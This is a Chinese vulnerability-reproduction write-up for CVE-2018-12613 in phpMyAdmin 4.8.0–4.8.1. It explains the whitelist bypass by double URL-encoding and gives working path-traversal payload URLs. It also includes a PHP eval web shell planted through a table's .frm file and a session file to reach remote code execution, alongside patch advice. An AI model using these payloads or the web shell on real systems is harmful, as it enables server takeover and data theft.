当前位置: 代码迷 >> 综合 >> CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
  详细解决方案

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

热度:140   发布时间:2023-09-23 00:20:14.0

0x01 了解本地文件包含

LFI(本地文件包含),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

0x02 了解远程代码执行

RCE(远程代码执行),远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

0x03 漏洞影响版本

  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1

0x04 了解PHPmyadmin

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻击者可利用该漏洞包含(查看并可能执行)服务器上的文件。

0x05 漏洞起因

index.php,61行
CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
这里的target可以直接传值输入,我们可以传入一个本地文件路径去让其包含,就会造成LFI漏洞。
要想成功包含target,需要满足五个条件:

  • 非空
  • 是字符串
  • 不以index开头
  • 不在黑名单target_blacklist
  • 符合函数checkPageValidity的验证
    接下来跟进checkPageValidity函数
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    可以看到,要想使该函数返回true,包含的文件必须包含在白名单$whitelist中,
    下面是白名单$whitelist的内容:
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,31行
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    所以只要包含其中之一即可。
    第一个返回true的地方,page参数未做任何修饰,直接验证是否在白名单whitelist中,无法利用
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    第二个返回true的地方,
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    函数mb_substr说明
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    函数mb_strpos说明
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    即判断?后面的字符串是否满足白名单,那么我们是否可以利用跨路径来包含文件呢?比如xxx.php?/../../../,(这里的xxx.php当然指的就是上面提到的白名单$whitelist的内容),回答是不能的,因为在PHP中会把?后面的内容作为文件xxx.php中的参数,因此不能绕过。
    第三个返回true的地方,
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    与第二处的区别就是多了urldecode函数,问题就出在这里了。
    上面提到的导致不能绕过白名单的原因就是的缘故,所以这里用url全编码方式对进行编码就可以绕过。
    payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?target=db_datadict.php%25%33%66/../../../../../../../../../windows/system.ini
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    include $_REQUEST[‘target’];
    就变成
    include ‘export.php%3f/../../../../../../../../../windows/system.ini'

0x06 利用方式

0x01 利用数据库创建shell

测试发现,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的。
登录phpmyadmin,在test数据库新建一个数据表,字段为一句话木马:

<?php @eval($_GET['s']);?>

保存。
CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
查询生成文件的绝对路径
show variables like '%datadir%';
CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
查看生成的.frm文件,shell已经成功写入
CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

利用本地文件包含去包含/bin/mysql/data/test/shell.frm文件即可RCE。
payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../bin/mysql/mysql5.7.21/data/test/shell.frm
s为一句话木马的连接密码,
可以看到,RCE已经成功。

CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

0x02 利用session文件创建shell

执行sql语句,查看session
CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
生成的session文件
CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

执行payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../tmp/sess_bv6e61104hvbsbkebdoikk3ke0c0er5k,成功执行
CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

0x07 修复建议

  1. 升级版本;
  2. checkPageValidity函数返回false
    index.php,59
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
    CVE-2018-12613 --- 本地文件包含造成远程代码执行漏洞复现

0x08 参考文章

  1. https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
  2. http://www.hetianlab.com/expc.do?ce=d223c7ad-cb9a-461d-bf5c-9ebd4a2f7614
  相关解决方案